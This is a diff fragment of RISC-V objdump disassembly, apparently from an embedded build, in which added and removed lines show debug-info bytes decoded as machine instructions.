+     69e:	fa20                	fsw	fs0,112(a2)
+     6a0:	8b000007          	0x8b000007
+     6a4:	0006                	c.slli	zero,0x1
+     6a6:	1a00                	addi	s0,sp,304
+     6a8:	5a01                	li	s4,-32
+     6aa:	0305                	addi	t1,t1,1
+     6ac:	3e60                	fld	fs0,248(a2)
+     6ae:	2040                	fld	fs0,128(s0)
+     6b0:	1900                	addi	s0,sp,176
+     6b2:	1c3e                	slli	s8,s8,0x2f
+     6b4:	2040                	fld	fs0,128(s0)
+     6b6:	07fa                	slli	a5,a5,0x1e
+     6b8:	0000                	unimp
+     6ba:	06a2                	slli	a3,a3,0x8
+     6bc:	0000                	unimp
+     6be:	011a                	slli	sp,sp,0x6
+     6c0:	055a                	slli	a0,a0,0x16
+     6c2:	403e7403          	0x403e7403
+     6c6:	0020                	addi	s0,sp,8
+     6c8:	4e19                	li	t3,6
+     6ca:	401c                	lw	a5,0(s0)
+     6cc:	6620                	flw	fs0,72(a2)
+     6ce:	0008                	0x8
+     6d0:	c300                	sw	s0,0(a4)
+     6d2:	0006                	c.slli	zero,0x1
+     6d4:	1a00                	addi	s0,sp,304
+     6d6:	5a01                	li	s4,-32
+     6d8:	3101                	jal	2d8 <__stack_size-0x528>
+     6da:	011a                	slli	sp,sp,0x6
+     6dc:	8803055b          	0x8803055b
+     6e0:	403e                	0x403e
+     6e2:	1a20                	addi	s0,sp,312
+     6e4:	5c01                	li	s8,-32
+     6e6:	3601                	jal	1e6 <__stack_size-0x61a>
+     6e8:	1900                	addi	s0,sp,176
+     6ea:	1c6a                	slli	s8,s8,0x3a
+     6ec:	2040                	fld	fs0,128(s0)
+     6ee:	0866                	slli	a6,a6,0x19
+     6f0:	0000                	unimp
+     6f2:	06e4                	addi	s1,sp,844
+     6f4:	0000                	unimp
+     6f6:	011a                	slli	sp,sp,0x6
+     6f8:	015a                	slli	sp,sp,0x16
+     6fa:	1a31                	addi	s4,s4,-20
+     6fc:	5b01                	li	s6,-32
+     6fe:	0305                	addi	t1,t1,1
+     700:	3e28                	fld	fa0,120(a2)
+     702:	2040                	fld	fs0,128(s0)
+     704:	011a                	slli	sp,sp,0x6
+     706:	015c                	addi	a5,sp,132
+     708:	0036                	c.slli	zero,0xd
+     70a:	7c19                	lui	s8,0xfffe6
+     70c:	401c                	lw	a5,0(s0)
+     70e:	fa20                	fsw	fs0,112(a2)
+     710:	0f000007          	0xf000007
+     714:	1a000007          	0x1a000007
+     718:	5a01                	li	s4,-32
+     71a:	0305                	addi	t1,t1,1
+     71c:	3e90                	fld	fa2,56(a3)
+     71e:	2040                	fld	fs0,128(s0)
+     720:	011a                	slli	sp,sp,0x6
+     722:	0079025b          	0x79025b
+     726:	011a                	slli	sp,sp,0x6
+     728:	025c                	addi	a5,sp,260
+     72a:	0078                	addi	a4,sp,12
+     72c:	011a                	slli	sp,sp,0x6
+     72e:	045d                	addi	s0,s0,23
+     730:	9c91                	0x9c91
+     732:	067f                	0x67f
+     734:	1900                	addi	s0,sp,176
+     736:	1c8c                	addi	a1,sp,624
+     738:	2040                	fld	fs0,128(s0)
+     73a:	0866                	slli	a6,a6,0x19
+     73c:	0000                	unimp
+     73e:	0730                	addi	a2,sp,904
+     740:	0000                	unimp
+     742:	011a                	slli	sp,sp,0x6
+     744:	015a                	slli	sp,sp,0x16
+     746:	1a31                	addi	s4,s4,-20
+     748:	5b01                	li	s6,-32
+     74a:	0305                	addi	t1,t1,1
+     74c:	3ec4                	fld	fs1,184(a3)
+     74e:	2040                	fld	fs0,128(s0)
+     750:	011a                	slli	sp,sp,0x6
+     752:	015c                	addi	a5,sp,132
+     754:	0036                	c.slli	zero,0xd
+     756:	9419                	srai	s0,s0,0x26
+     758:	401c                	lw	a5,0(s0)
+     75a:	0620                	addi	s0,sp,776
+     75c:	0008                	0x8
+     75e:	4700                	lw	s0,8(a4)
+     760:	1a000007          	0x1a000007
+     764:	5a01                	li	s4,-32
+     766:	0305                	addi	t1,t1,1
+     768:	d8b0                	sw	a2,112(s1)
+     76a:	8000                	0x8000
+     76c:	1900                	addi	s0,sp,176
+     76e:	1ca0                	addi	s0,sp,632
+     770:	2040                	fld	fs0,128(s0)
+     772:	0866                	slli	a6,a6,0x19
+     774:	0000                	unimp
+     776:	00000763          	beqz	zero,784 <__stack_size-0x7c>
+     77a:	011a                	slli	sp,sp,0x6
+     77c:	015a                	slli	sp,sp,0x16
+     77e:	1a31                	addi	s4,s4,-20
+     780:	5b01                	li	s6,-32
+     782:	0305                	addi	t1,t1,1
+     784:	d8b0                	sw	a2,112(s1)
+     786:	8000                	0x8000
+     788:	1900                	addi	s0,sp,176
+     78a:	1cb0                	addi	a2,sp,632
+     78c:	2040                	fld	fs0,128(s0)
+     78e:	0866                	slli	a6,a6,0x19
+     790:	0000                	unimp
+     792:	0784                	addi	s1,sp,960
+     794:	0000                	unimp
+     796:	011a                	slli	sp,sp,0x6
+     798:	015a                	slli	sp,sp,0x16
+     79a:	1a31                	addi	s4,s4,-20
+     79c:	5b01                	li	s6,-32
+     79e:	0305                	addi	t1,t1,1
+     7a0:	3ed0                	fld	fa2,184(a3)
+     7a2:	2040                	fld	fs0,128(s0)
+     7a4:	011a                	slli	sp,sp,0x6
+     7a6:	015c                	addi	a5,sp,132
+     7a8:	0036                	c.slli	zero,0xd
+     7aa:	d819                	beqz	s0,6c0 <__stack_size-0x140>
+     7ac:	401c                	lw	a5,0(s0)
+     7ae:	7220                	flw	fs0,96(a2)
+     7b0:	0008                	0x8
+     7b2:	a300                	fsd	fs0,0(a4)
+     7b4:	1a000007          	0x1a000007
+     7b8:	5a01                	li	s4,-32
+     7ba:	3001                	jal	ffffffba <_heap_end+0x7fff17ba>
+     7bc:	011a                	slli	sp,sp,0x6
+     7be:	a891035b          	0xa891035b
+     7c2:	1a7f                	0x1a7f
+     7c4:	5c01                	li	s8,-32
+     7c6:	3801                	jal	ffffffd6 <_heap_end+0x7fff17d6>
+     7c8:	1c00                	addi	s0,sp,560
+     7ca:	1d02                	slli	s10,s10,0x20
+     7cc:	2040                	fld	fs0,128(s0)
+     7ce:	07ee                	slli	a5,a5,0x1b
+     7d0:	0000                	unimp
+     7d2:	011a                	slli	sp,sp,0x6
+     7d4:	a891035b          	0xa891035b
+     7d8:	1a7f                	0x1a7f
+     7da:	5c01                	li	s8,-32
+     7dc:	7802                	flw	fa6,32(sp)
+     7de:	0000                	unimp
+     7e0:	1900                	addi	s0,sp,176
+     7e2:	1af0                	addi	a2,sp,380
+     7e4:	2040                	fld	fs0,128(s0)
+     7e6:	07fa                	slli	a5,a5,0x1e
+     7e8:	0000                	unimp
+     7ea:	07d2                	slli	a5,a5,0x14
+     7ec:	0000                	unimp
+     7ee:	011a                	slli	sp,sp,0x6
+     7f0:	055a                	slli	a0,a0,0x16
+     7f2:	403efc03          	0x403efc03
+     7f6:	0020                	addi	s0,sp,8
+     7f8:	fe1c                	fsw	fa5,56(a2)
+     7fa:	401a                	0x401a
+     7fc:	7220                	flw	fs0,96(a2)
+     7fe:	0008                	0x8
+     800:	1a00                	addi	s0,sp,304
+     802:	5a01                	li	s4,-32
+     804:	3001                	jal	4 <__stack_size-0x7fc>
+     806:	011a                	slli	sp,sp,0x6
+     808:	a891035b          	0xa891035b
+     80c:	1a7f                	0x1a7f
+     80e:	5c01                	li	s8,-32
+     810:	3101                	jal	410 <__stack_size-0x3f0>
+     812:	0000                	unimp
+     814:	391f 0013 3900      	0x39000013391f
+     81a:	05000013          	li	zero,80
+     81e:	091f 5a1f 00a3      	0xa35a1f091f
+     824:	5a00                	lw	s0,48(a2)
+     826:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
+     82a:	05c8                	addi	a0,sp,708
+     82c:	0c1f 0071 0c00      	0xc0000710c1f
+     832:	0071                	c.nop	28
+     834:	0500                	addi	s0,sp,640
+     836:	0929                	addi	s2,s2,10
+     838:	321f 002a 3200      	0x3200002a321f
+     83e:	002a                	c.slli	zero,0xa
+     840:	0500                	addi	s0,sp,640
+     842:	9b1f062b          	0x9b1f062b
+     846:	0021                	c.nop	8
+     848:	9b00                	0x9b00
+     84a:	0021                	c.nop	8
+     84c:	0700                	addi	s0,sp,896
+     84e:	065e                	slli	a2,a2,0x17
+     850:	aa1f 0026 aa00      	0xaa000026aa1f
+     856:	0026                	c.slli	zero,0x9
+     858:	0700                	addi	s0,sp,896
+     85a:	076c                	addi	a1,sp,908
+     85c:	691f 008b 6900      	0x6900008b691f
+     862:	0800008b          	0x800008b
+     866:	ff1f151b          	0xff1f151b
+     86a:	0036                	c.slli	zero,0xd
+     86c:	ff00                	fsw	fs0,56(a4)
+     86e:	0036                	c.slli	zero,0xd
+     870:	0800                	addi	s0,sp,16
+     872:	1519                	addi	a0,a0,-26
+     874:	cd1f 0021 cd00      	0xcd000021cd1f
+     87a:	0021                	c.nop	8
+     87c:	0400                	addi	s0,sp,512
+     87e:	e21f0617          	auipc	a2,0xe21f0
+     882:	00a4                	addi	s1,sp,72
+     884:	e200                	fsw	fs0,0(a2)
+     886:	00a4                	addi	s1,sp,72
+     888:	0900                	addi	s0,sp,144
+     88a:	0cd5                	addi	s9,s9,21
+     88c:	f31f 00a3 f300      	0xf30000a3f31f
+     892:	0a0000a3          	sb	zero,161(zero) # a1 <__stack_size-0x75f>
+     896:	19f5                	addi	s3,s3,-3
+     898:	b51f 00a4 b500      	0xb50000a4b51f
+     89e:	00a4                	addi	s1,sp,72
+     8a0:	0a00                	addi	s0,sp,272
+     8a2:	19bd                	addi	s3,s3,-17
+     8a4:	ec00                	fsw	fs0,24(s0)
+     8a6:	04000003          	lb	zero,64(zero) # 40 <__stack_size-0x7c0>
+     8aa:	de00                	sw	s0,56(a2)
+     8ac:	0001                	nop
+     8ae:	0400                	addi	s0,sp,512
+     8b0:	ad01                	j	ec0 <__stack_size+0x6c0>
+     8b2:	004e                	c.slli	zero,0x13
+     8b4:	0c00                	addi	s0,sp,528
+     8b6:	0000a283          	lw	t0,0(ra)
+     8ba:	001a                	c.slli	zero,0x6
+     8bc:	0000                	unimp
+     8be:	0098                	addi	a4,sp,64
+     8c0:	0000                	unimp
+     8c2:	0000                	unimp
+     8c4:	0000                	unimp
+     8c6:	0b32                	slli	s6,s6,0xc
+     8c8:	0000                	unimp
+     8ca:	00002943          	fmadd.s	fs2,ft0,ft0,ft0,rdn
+     8ce:	0102                	c.slli64	sp
+     8d0:	6d06                	flw	fs10,64(sp)
+     8d2:	007f                	0x7f
+     8d4:	0200                	addi	s0,sp,256
+     8d6:	0502                	c.slli64	a0
+     8d8:	3822                	fld	fa6,40(sp)
+     8da:	0000                	unimp
+     8dc:	0402                	c.slli64	s0
+     8de:	8405                	srai	s0,s0,0x1
+     8e0:	0051                	c.nop	20
+     8e2:	0200                	addi	s0,sp,256
+     8e4:	0508                	addi	a0,sp,640
+     8e6:	90b6                	add	ra,ra,a3
+     8e8:	0000                	unimp
+     8ea:	0102                	c.slli64	sp
+     8ec:	a008                	fsd	fa0,0(s0)
+     8ee:	03000013          	li	zero,48
+     8f2:	2271                	jal	a7e <__stack_size+0x27e>
+     8f4:	0000                	unimp
+     8f6:	3105                	jal	516 <__stack_size-0x2ea>
+     8f8:	5819                	li	a6,-26
+     8fa:	0000                	unimp
+     8fc:	0200                	addi	s0,sp,256
+     8fe:	0702                	c.slli64	a4
+     900:	00009bf7          	0x9bf7
+     904:	0402                	c.slli64	s0
+     906:	0065cd07          	flq	fs10,6(a1)
+     90a:	0200                	addi	s0,sp,256
+     90c:	0708                	addi	a0,sp,896
+     90e:	00000617          	auipc	a2,0x0
+     912:	0404                	addi	s1,sp,512
+     914:	6905                	lui	s2,0x1
+     916:	746e                	flw	fs0,248(sp)
+     918:	0200                	addi	s0,sp,256
+     91a:	0704                	addi	s1,sp,896
+     91c:	71e5                	lui	gp,0xffff9
+     91e:	0000                	unimp
+     920:	1002                	c.slli	zero,0x20
+     922:	3304                	fld	fs1,32(a4)
+     924:	0092                	slli	ra,ra,0x4
+     926:	0500                	addi	s0,sp,640
+     928:	8804                	0x8804
+     92a:	0000                	unimp
+     92c:	0200                	addi	s0,sp,256
+     92e:	0801                	addi	a6,a6,0
+     930:	7f74                	flw	fa3,124(a4)
+     932:	0000                	unimp
+     934:	8806                	mv	a6,ra
+     936:	0000                	unimp
+     938:	0500                	addi	s0,sp,640
+     93a:	8f04                	0x8f04
+     93c:	0000                	unimp
+     93e:	0700                	addi	s0,sp,896
+     940:	8b6d                	andi	a4,a4,27
+     942:	0000                	unimp
+     944:	0208                	addi	a0,sp,256
+     946:	080a                	slli	a6,a6,0x2
+     948:	00c2                	slli	ra,ra,0x10
+     94a:	0000                	unimp
+     94c:	6c08                	flw	fa0,24(s0)
+     94e:	6e65                	lui	t3,0x19
+     950:	0200                	addi	s0,sp,256
+     952:	004c0b0b          	0x4c0b0b
      956:	0000                	unimp
-     958:	6116                	flw	ft2,68(sp)
-     95a:	0030                	addi	a2,sp,8
-     95c:	9501                	srai	a0,a0,0x20
-     95e:	0901                	addi	s2,s2,0
-     960:	00c4                	addi	s1,sp,68
+     958:	0900                	addi	s0,sp,144
+     95a:	10a0                	addi	s0,sp,104
+     95c:	0000                	unimp
+     95e:	0c02                	c.slli64	s8
+     960:	8208                	0x8208
      962:	0000                	unimp
-     964:	5a01                	li	s4,-32
-     966:	1b00                	addi	s0,sp,432
-     968:	24be                	fld	fs1,456(sp)
-     96a:	2040                	fld	fs0,128(s0)
-     96c:	1d50                	addi	a2,sp,692
-     96e:	0000                	unimp
-     970:	025a0113          	addi	sp,s4,37
-     974:	0072                	c.slli	zero,0x1c
-     976:	025b0113          	addi	sp,s6,37
-     97a:	0082                	c.slli64	ra
-     97c:	015c0113          	addi	sp,s8,21
-     980:	0040                	addi	s0,sp,4
-     982:	1a00                	addi	s0,sp,304
-     984:	01e8                	addi	a0,sp,204
-     986:	0000                	unimp
-     988:	09ed                	addi	s3,s3,27
-     98a:	0000                	unimp
-     98c:	6d16                	flw	fs10,68(sp)
-     98e:	01006773          	csrrsi	a4,0x10,0
-     992:	019d                	addi	gp,gp,7
-     994:	2709                	jal	1096 <__stack_size+0x896>
-     996:	000e                	c.slli	zero,0x3
-     998:	0200                	addi	s0,sp,256
-     99a:	5091                	li	ra,-28
-     99c:	1410                	addi	a2,sp,544
-     99e:	4025                	c.li	zero,9
-     9a0:	1420                	addi	s0,sp,552
-     9a2:	0000                	unimp
-     9a4:	ca00                	sw	s0,16(a2)
-     9a6:	0009                	c.nop	2
-     9a8:	1600                	addi	s0,sp,800
-     9aa:	3061                	jal	232 <__stack_size-0x5ce>
-     9ac:	0100                	addi	s0,sp,128
-     9ae:	019e                	slli	gp,gp,0x7
-     9b0:	c408                	sw	a0,8(s0)
-     9b2:	0000                	unimp
-     9b4:	0100                	addi	s0,sp,128
-     9b6:	165a                	slli	a2,a2,0x36
-     9b8:	3261                	jal	340 <__stack_size-0x4c0>
-     9ba:	0100                	addi	s0,sp,128
-     9bc:	019e                	slli	gp,gp,0x7
-     9be:	c408                	sw	a0,8(s0)
-     9c0:	0000                	unimp
-     9c2:	0100                	addi	s0,sp,128
-     9c4:	165c                	addi	a5,sp,804
-     9c6:	3361                	jal	74e <__stack_size-0xb2>
-     9c8:	0100                	addi	s0,sp,128
-     9ca:	019e                	slli	gp,gp,0x7
-     9cc:	c408                	sw	a0,8(s0)
-     9ce:	0000                	unimp
-     9d0:	0100                	addi	s0,sp,128
-     9d2:	165d                	addi	a2,a2,-9
-     9d4:	3461                	jal	45c <__stack_size-0x3a4>
-     9d6:	0100                	addi	s0,sp,128
-     9d8:	019e                	slli	gp,gp,0x7
-     9da:	c408                	sw	a0,8(s0)
-     9dc:	0000                	unimp
-     9de:	0100                	addi	s0,sp,128
-     9e0:	165e                	slli	a2,a2,0x37
-     9e2:	3561                	jal	86a <__stack_size+0x6a>
-     9e4:	0100                	addi	s0,sp,128
-     9e6:	019e                	slli	gp,gp,0x7
-     9e8:	c408                	sw	a0,8(s0)
-     9ea:	0000                	unimp
-     9ec:	0100                	addi	s0,sp,128
-     9ee:	005f e414 4024      	0x4024e414005f
-     9f4:	0820                	addi	s0,sp,24
-     9f6:	001d                	c.nop	7
-     9f8:	1b00                	addi	s0,sp,432
-     9fa:	2538                	fld	fa4,72(a0)
-     9fc:	2040                	fld	fs0,128(s0)
-     9fe:	1d08                	addi	a0,sp,688
-     a00:	0000                	unimp
-     a02:	055a0113          	addi	sp,s4,85
-     a06:	40592803          	lw	a6,1029(s2) # 4405 <__stack_size+0x3c05>
-     a0a:	1320                	addi	s0,sp,424
-     a0c:	5b01                	li	s6,-32
-     a0e:	7202                	flw	ft4,32(sp)
-     a10:	0000                	unimp
-     a12:	1000                	addi	s0,sp,32
-     a14:	255e                	fld	fa0,464(sp)
-     a16:	2040                	fld	fs0,128(s0)
-     a18:	0038                	addi	a4,sp,8
-     a1a:	0000                	unimp
-     a1c:	0a6d                	addi	s4,s4,27
-     a1e:	0000                	unimp
-     a20:	4318                	lw	a4,0(a4)
-     a22:	0031                	c.nop	12
-     a24:	a701                	j	1124 <__stack_size+0x924>
-     a26:	1701                	addi	a4,a4,-32
-     a28:	0079                	c.nop	30
-     a2a:	0000                	unimp
-     a2c:	0472                	slli	s0,s0,0x1c
-     a2e:	0000                	unimp
-     a30:	4318                	lw	a4,0(a4)
-     a32:	0032                	c.slli	zero,0xc
-     a34:	a901                	j	e44 <__stack_size+0x644>
-     a36:	1701                	addi	a4,a4,-32
-     a38:	0079                	c.nop	30
-     a3a:	0000                	unimp
-     a3c:	0490                	addi	a2,sp,576
-     a3e:	0000                	unimp
-     a40:	4318                	lw	a4,0(a4)
-     a42:	0100                	addi	s0,sp,128
-     a44:	01aa                	slli	gp,gp,0xa
-     a46:	00007917          	auipc	s2,0x7
-     a4a:	a300                	fsd	fs0,0(a4)
-     a4c:	0004                	0x4
-     a4e:	1800                	addi	s0,sp,48
-     a50:	0054                	addi	a3,sp,4
-     a52:	ab01                	j	f62 <__stack_size+0x762>
-     a54:	0d01                	addi	s10,s10,0
-     a56:	0000009b          	0x9b
-     a5a:	04b6                	slli	s1,s1,0xd
-     a5c:	0000                	unimp
-     a5e:	5e10                	lw	a2,56(a2)
-     a60:	4025                	c.li	zero,9
-     a62:	0c20                	addi	s0,sp,536
-     a64:	0000                	unimp
-     a66:	5400                	lw	s0,40(s0)
-     a68:	000a                	c.slli	zero,0x2
-     a6a:	1600                	addi	s0,sp,800
-     a6c:	3061                	jal	2f4 <__stack_size-0x50c>
-     a6e:	0100                	addi	s0,sp,128
-     a70:	721c01a7          	0x721c01a7
-     a74:	0000                	unimp
-     a76:	0100                	addi	s0,sp,128
-     a78:	005a                	c.slli	zero,0x16
-     a7a:	701f 4025 0820      	0x8204025701f
-     a80:	0000                	unimp
-     a82:	1600                	addi	s0,sp,800
-     a84:	3061                	jal	30c <__stack_size-0x4f4>
-     a86:	0100                	addi	s0,sp,128
-     a88:	01a9                	addi	gp,gp,10
-     a8a:	721c                	flw	fa5,32(a2)
-     a8c:	0000                	unimp
-     a8e:	0100                	addi	s0,sp,128
-     a90:	005a                	c.slli	zero,0x16
-     a92:	1000                	addi	s0,sp,32
-     a94:	25a8                	fld	fa0,72(a1)
-     a96:	2040                	fld	fs0,128(s0)
-     a98:	0096                	slli	ra,ra,0x5
-     a9a:	0000                	unimp
-     a9c:	0b46                	slli	s6,s6,0x11
-     a9e:	0000                	unimp
-     aa0:	6d18                	flw	fa4,24(a0)
-     aa2:	b2010073          	0xb2010073
-     aa6:	1301                	addi	t1,t1,-32
-     aa8:	00e1                	addi	ra,ra,24
-     aaa:	0000                	unimp
-     aac:	04c9                	addi	s1,s1,18
-     aae:	0000                	unimp
-     ab0:	5418                	lw	a4,40(s0)
-     ab2:	0030                	addi	a2,sp,8
-     ab4:	b301                	j	7b4 <__stack_size-0x4c>
-     ab6:	1301                	addi	t1,t1,-32
-     ab8:	00e1                	addi	ra,ra,24
-     aba:	0000                	unimp
-     abc:	000004f3          	0x4f3
-     ac0:	5418                	lw	a4,40(s0)
-     ac2:	0031                	c.nop	12
-     ac4:	b401                	j	4c4 <__stack_size-0x33c>
-     ac6:	1301                	addi	t1,t1,-32
-     ac8:	00e1                	addi	ra,ra,24
-     aca:	0000                	unimp
-     acc:	0000051b          	0x51b
-     ad0:	001a                	c.slli	zero,0x6
-     ad2:	0002                	c.slli64	zero
-     ad4:	d000                	sw	s0,32(s0)
-     ad6:	000a                	c.slli	zero,0x2
-     ad8:	1600                	addi	s0,sp,800
-     ada:	3061                	jal	362 <__stack_size-0x49e>
-     adc:	0100                	addi	s0,sp,128
-     ade:	c41801b3          	0xc41801b3
-     ae2:	0000                	unimp
-     ae4:	0100                	addi	s0,sp,128
-     ae6:	165a                	slli	a2,a2,0x36
-     ae8:	3161                	jal	770 <__stack_size-0x90>
-     aea:	0100                	addi	s0,sp,128
-     aec:	c41801b3          	0xc41801b3
-     af0:	0000                	unimp
-     af2:	0100                	addi	s0,sp,128
-     af4:	3610005b          	0x3610005b
-     af8:	4026                	0x4026
-     afa:	0820                	addi	s0,sp,24
-     afc:	0000                	unimp
-     afe:	ea00                	fsw	fs0,16(a2)
-     b00:	000a                	c.slli	zero,0x2
-     b02:	1100                	addi	s0,sp,160
-     b04:	6472                	flw	fs0,28(sp)
-     b06:	0100                	addi	s0,sp,128
-     b08:	01b8                	addi	a4,sp,200
-     b0a:	7204                	flw	fs1,32(a2)
-     b0c:	0000                	unimp
-     b0e:	0000                	unimp
-     b10:	b212                	fsd	ft4,288(sp)
-     b12:	4025                	c.li	zero,9
-     b14:	5c20                	lw	s0,120(s0)
-     b16:	001d                	c.nop	7
-     b18:	0800                	addi	s0,sp,16
-     b1a:	1300000b          	0x1300000b
-     b1e:	5a01                	li	s4,-32
-     b20:	7902                	flw	fs2,32(sp)
-     b22:	1300                	addi	s0,sp,416
-     b24:	5b01                	li	s6,-32
-     b26:	3001                	jal	326 <__stack_size-0x4da>
-     b28:	015c0113          	addi	sp,s8,21
-     b2c:	003a                	c.slli	zero,0xe
-     b2e:	b614                	fsd	fa3,40(a2)
-     b30:	4025                	c.li	zero,9
-     b32:	6920                	flw	fs0,80(a0)
-     b34:	001d                	c.nop	7
-     b36:	1400                	addi	s0,sp,544
-     b38:	25da                	fld	fa1,400(sp)
-     b3a:	2040                	fld	fs0,128(s0)
-     b3c:	1d75                	addi	s10,s10,-3
-     b3e:	0000                	unimp
-     b40:	0c14                	addi	a3,sp,528
-     b42:	4026                	0x4026
-     b44:	7520                	flw	fs0,104(a0)
-     b46:	001d                	c.nop	7
-     b48:	1400                	addi	s0,sp,544
-     b4a:	2626                	fld	fa2,72(sp)
-     b4c:	2040                	fld	fs0,128(s0)
-     b4e:	1d75                	addi	s10,s10,-3
-     b50:	0000                	unimp
-     b52:	4026361b          	0x4026361b
-     b56:	0820                	addi	s0,sp,24
-     b58:	001d                	c.nop	7
-     b5a:	1300                	addi	s0,sp,416
-     b5c:	5a01                	li	s4,-32
-     b5e:	0305                	addi	t1,t1,1
-     b60:	597c                	lw	a5,116(a0)
-     b62:	2040                	fld	fs0,128(s0)
-     b64:	025c0113          	addi	sp,s8,37
-     b68:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
-     b6c:	c410                	sw	a2,8(s0)
-     b6e:	4026                	0x4026
-     b70:	2a20                	fld	fs0,80(a2)
-     b72:	0000                	unimp
-     b74:	b800                	fsd	fs0,48(s0)
-     b76:	1700000b          	0x1700000b
-     b7a:	0000621b          	0x621b
-     b7e:	ce01                	beqz	a2,b96 <__stack_size+0x396>
-     b80:	1a01                	addi	s4,s4,-32
-     b82:	007e                	c.slli	zero,0x1f
-     b84:	0000                	unimp
-     b86:	9102                	jalr	sp
-     b88:	1850                	addi	a2,sp,52
-     b8a:	01003043          	fmadd.s	ft0,ft0,fa6,ft0,rup
-     b8e:	721101cf          	fnmadd.d	ft3,ft2,ft1,fa4,rne
-     b92:	0000                	unimp
-     b94:	3300                	fld	fs0,32(a4)
-     b96:	0005                	c.nop	1
-     b98:	1800                	addi	s0,sp,48
-     b9a:	01003143          	fmadd.s	ft2,ft0,fa6,ft0,rup
-     b9e:	01d4                	addi	a3,sp,196
-     ba0:	7211                	lui	tp,0xfffe4
-     ba2:	0000                	unimp
-     ba4:	5100                	lw	s0,32(a0)
-     ba6:	0005                	c.nop	1
-     ba8:	1000                	addi	s0,sp,32
-     baa:	26c4                	fld	fs1,136(a3)
-     bac:	2040                	fld	fs0,128(s0)
-     bae:	000c                	0xc
-     bb0:	0000                	unimp
-     bb2:	0b9f 0000 6116      	0x611600000b9f
-     bb8:	0030                	addi	a2,sp,8
-     bba:	cf01                	beqz	a4,bd2 <__stack_size+0x3d2>
-     bbc:	1601                	addi	a2,a2,-32
-     bbe:	0072                	c.slli	zero,0x1c
-     bc0:	0000                	unimp
-     bc2:	5a01                	li	s4,-32
-     bc4:	1f00                	addi	s0,sp,944
-     bc6:	26d6                	fld	fa3,336(sp)
-     bc8:	2040                	fld	fs0,128(s0)
-     bca:	0008                	0x8
-     bcc:	0000                	unimp
-     bce:	6116                	flw	ft2,68(sp)
-     bd0:	0030                	addi	a2,sp,8
-     bd2:	d401                	beqz	s0,ada <__stack_size+0x2da>
-     bd4:	1601                	addi	a2,a2,-32
-     bd6:	0072                	c.slli	zero,0x1c
-     bd8:	0000                	unimp
-     bda:	5a01                	li	s4,-32
-     bdc:	0000                	unimp
-     bde:	0812                	slli	a6,a6,0x4
-     be0:	7e204023          	0x7e204023
-     be4:	001d                	c.nop	7
-     be6:	d800                	sw	s0,48(s0)
-     be8:	1300000b          	0x1300000b
-     bec:	5a01                	li	s4,-32
-     bee:	0305                	addi	t1,t1,1
-     bf0:	d9c8                	sw	a0,52(a1)
-     bf2:	8000                	0x8000
-     bf4:	055b0113          	addi	sp,s6,85
-     bf8:	405f5003          	lhu	zero,1029(t5)
-     bfc:	0020                	addi	s0,sp,8
-     bfe:	1812                	slli	a6,a6,0x24
-     c00:	7e204023          	0x7e204023
-     c04:	001d                	c.nop	7
-     c06:	f400                	fsw	fs0,40(s0)
-     c08:	1300000b          	0x1300000b
-     c0c:	5a01                	li	s4,-32
-     c0e:	3001                	jal	40e <__stack_size-0x3f2>
-     c10:	055b0113          	addi	sp,s6,85
-     c14:	405f5003          	lhu	zero,1029(t5)
-     c18:	0020                	addi	s0,sp,8
-     c1a:	2812                	fld	fa6,256(sp)
-     c1c:	7e204023          	0x7e204023
-     c20:	001d                	c.nop	7
-     c22:	1000                	addi	s0,sp,32
-     c24:	000c                	0xc
-     c26:	1300                	addi	s0,sp,416
-     c28:	5a01                	li	s4,-32
-     c2a:	3001                	jal	42a <__stack_size-0x3d6>
-     c2c:	055b0113          	addi	sp,s6,85
-     c30:	405f5003          	lhu	zero,1029(t5)
-     c34:	0020                	addi	s0,sp,8
-     c36:	3812                	fld	fa6,288(sp)
-     c38:	7e204023          	0x7e204023
-     c3c:	001d                	c.nop	7
-     c3e:	2c00                	fld	fs0,24(s0)
-     c40:	000c                	0xc
-     c42:	1300                	addi	s0,sp,416
-     c44:	5a01                	li	s4,-32
-     c46:	3001                	jal	446 <__stack_size-0x3ba>
-     c48:	055b0113          	addi	sp,s6,85
-     c4c:	405f5003          	lhu	zero,1029(t5)
-     c50:	0020                	addi	s0,sp,8
-     c52:	5212                	lw	tp,36(sp)
-     c54:	38204023          	0x38204023
-     c58:	001d                	c.nop	7
-     c5a:	4900                	lw	s0,16(a0)
-     c5c:	000c                	0xc
-     c5e:	1300                	addi	s0,sp,416
-     c60:	5a01                	li	s4,-32
-     c62:	7802                	flw	fa6,32(sp)
-     c64:	1300                	addi	s0,sp,416
-     c66:	5b01                	li	s6,-32
-     c68:	0305                	addi	t1,t1,1
-     c6a:	5840                	lw	s0,52(s0)
-     c6c:	2040                	fld	fs0,128(s0)
-     c6e:	1e00                	addi	s0,sp,816
-     c70:	239c                	fld	fa5,0(a5)
-     c72:	2040                	fld	fs0,128(s0)
-     c74:	1d08                	addi	a0,sp,688
-     c76:	0000                	unimp
-     c78:	aa12                	fsd	ft4,272(sp)
-     c7a:	38204023          	0x38204023
-     c7e:	001d                	c.nop	7
-     c80:	6f00                	flw	fs0,24(a4)
-     c82:	000c                	0xc
-     c84:	1300                	addi	s0,sp,416
-     c86:	5a01                	li	s4,-32
-     c88:	7802                	flw	fa6,32(sp)
-     c8a:	1300                	addi	s0,sp,416
-     c8c:	5b01                	li	s6,-32
-     c8e:	0305                	addi	t1,t1,1
-     c90:	5874                	lw	a3,116(s0)
-     c92:	2040                	fld	fs0,128(s0)
-     c94:	1200                	addi	s0,sp,288
-     c96:	2410                	fld	fa2,8(s0)
-     c98:	2040                	fld	fs0,128(s0)
-     c9a:	1d38                	addi	a4,sp,696
-     c9c:	0000                	unimp
-     c9e:	0c8c                	addi	a1,sp,592
-     ca0:	0000                	unimp
-     ca2:	025a0113          	addi	sp,s4,37
-     ca6:	0078                	addi	a4,sp,12
-     ca8:	055b0113          	addi	sp,s6,85
-     cac:	40589c03          	lh	s8,1029(a7)
-     cb0:	0020                	addi	s0,sp,8
-     cb2:	4812                	lw	a6,4(sp)
-     cb4:	4024                	lw	s1,64(s0)
-     cb6:	3820                	fld	fs0,112(s0)
-     cb8:	001d                	c.nop	7
-     cba:	a900                	fsd	fs0,16(a0)
-     cbc:	000c                	0xc
-     cbe:	1300                	addi	s0,sp,416
-     cc0:	5a01                	li	s4,-32
-     cc2:	7802                	flw	fa6,32(sp)
-     cc4:	1300                	addi	s0,sp,416
-     cc6:	5b01                	li	s6,-32
-     cc8:	0305                	addi	t1,t1,1
-     cca:	58bc                	lw	a5,112(s1)
